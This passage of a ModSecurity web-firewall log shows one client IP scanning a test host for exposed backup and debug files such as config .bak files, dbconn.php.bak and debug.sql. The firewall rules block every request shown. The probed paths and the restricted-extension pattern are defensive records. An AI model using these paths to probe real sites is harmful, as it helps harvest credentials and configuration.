&quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/config_ucenter.php.bak&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1cewAAAAM&quot;]
[Mon Jul 28 20:46:28.907696 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/config_ucenter.php.bak&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1cewAAAAM&quot;]
[Mon Jul 28 20:46:28.907862 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/config_ucenter.php.bak&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1cewAAAAM&quot;]
[Mon Jul 28 20:46:28.927678 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/config_global.php.bak&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1cfAAAAAM&quot;]
[Mon Jul 28 20:46:28.927960 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/config_global.php.bak&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1cfAAAAAM&quot;]
[Mon Jul 28 20:46:28.928137 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/config_global.php.bak&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1cfAAAAAM&quot;]
[Mon Jul 28 20:46:28.948357 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/bitrix/php_interface/dbconn.php.bak&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1cfQAAAAM&quot;]
[Mon Jul 28 20:46:28.948665 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/bitrix/php_interface/dbconn.php.bak&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1cfQAAAAM&quot;]
[Mon Jul 28 20:46:28.948820 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/bitrix/php_interface/dbconn.php.bak&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1cfQAAAAM&quot;]
[Mon Jul 28 20:46:28.968798 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/uc_server/data/config.inc.php.bak&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1cfgAAAAM&quot;]
[Mon Jul 28 20:46:28.969080 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/uc_server/data/config.inc.php.bak&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1cfgAAAAM&quot;]
[Mon Jul 28 20:46:28.969231 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/uc_server/data/config.inc.php.bak&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1cfgAAAAM&quot;]
[Mon Jul 28 20:46:28.989371 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/data/config.inc.php.bak&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1cfwAAAAM&quot;]
[Mon Jul 28 20:46:28.989677 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/data/config.inc.php.bak&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1cfwAAAAM&quot;]
[Mon Jul 28 20:46:28.989863 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/data/config.inc.php.bak&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1cfwAAAAM&quot;]
[Mon Jul 28 20:46:29.009910 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/var/debug.log&quot;] [unique_id &quot;aIfFhRd6_yVRS98tgw1cgAAAAAM&quot;]
[Mon Jul 28 20:46:29.010192 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/var/debug.log&quot;] [unique_id &quot;aIfFhRd6_yVRS98tgw1cgAAAAAM&quot;]
[Mon Jul 28 20:46:29.010356 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/var/debug.log&quot;] [unique_id &quot;aIfFhRd6_yVRS98tgw1cgAAAAAM&quot;]
[Mon Jul 28 20:46:29.030296 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/content/debug.log&quot;] [unique_id &quot;aIfFhRd6_yVRS98tgw1cgQAAAAM&quot;]
[Mon Jul 28 20:46:29.030587 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/content/debug.log&quot;] [unique_id &quot;aIfFhRd6_yVRS98tgw1cgQAAAAM&quot;]
[Mon Jul 28 20:46:29.030733 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/content/debug.log&quot;] [unique_id &quot;aIfFhRd6_yVRS98tgw1cgQAAAAM&quot;]
[Mon Jul 28 20:46:29.050871 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/npm-debug.log&quot;] [unique_id &quot;aIfFhRd6_yVRS98tgw1cggAAAAM&quot;]
[Mon Jul 28 20:46:29.051011 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/npm-debug.log&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /npm-debug.log found within REQUEST_FILENAME: /npm-debug.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/npm-debug.log&quot;] [unique_id &quot;aIfFhRd6_yVRS98tgw1cggAAAAM&quot;]
[Mon Jul 28 20:46:29.051196 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/npm-debug.log&quot;] [unique_id &quot;aIfFhRd6_yVRS98tgw1cggAAAAM&quot;]
[Mon Jul 28 20:46:29.051353 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/npm-debug.log&quot;] [unique_id &quot;aIfFhRd6_yVRS98tgw1cggAAAAM&quot;]
[Mon Jul 28 20:46:29.071309 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/yarn-debug.log&quot;] [unique_id &quot;aIfFhRd6_yVRS98tgw1cgwAAAAM&quot;]
[Mon Jul 28 20:46:29.071624 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/yarn-debug.log&quot;] [unique_id &quot;aIfFhRd6_yVRS98tgw1cgwAAAAM&quot;]
[Mon Jul 28 20:46:29.071803 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/yarn-debug.log&quot;] [unique_id &quot;aIfFhRd6_yVRS98tgw1cgwAAAAM&quot;]
[Mon Jul 28 20:46:29.373796 2025] [:error] [pid 1530492] [client 185.177.72.201:44428] [client 185.177.72.201] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/debug.sql&quot;] [unique_id 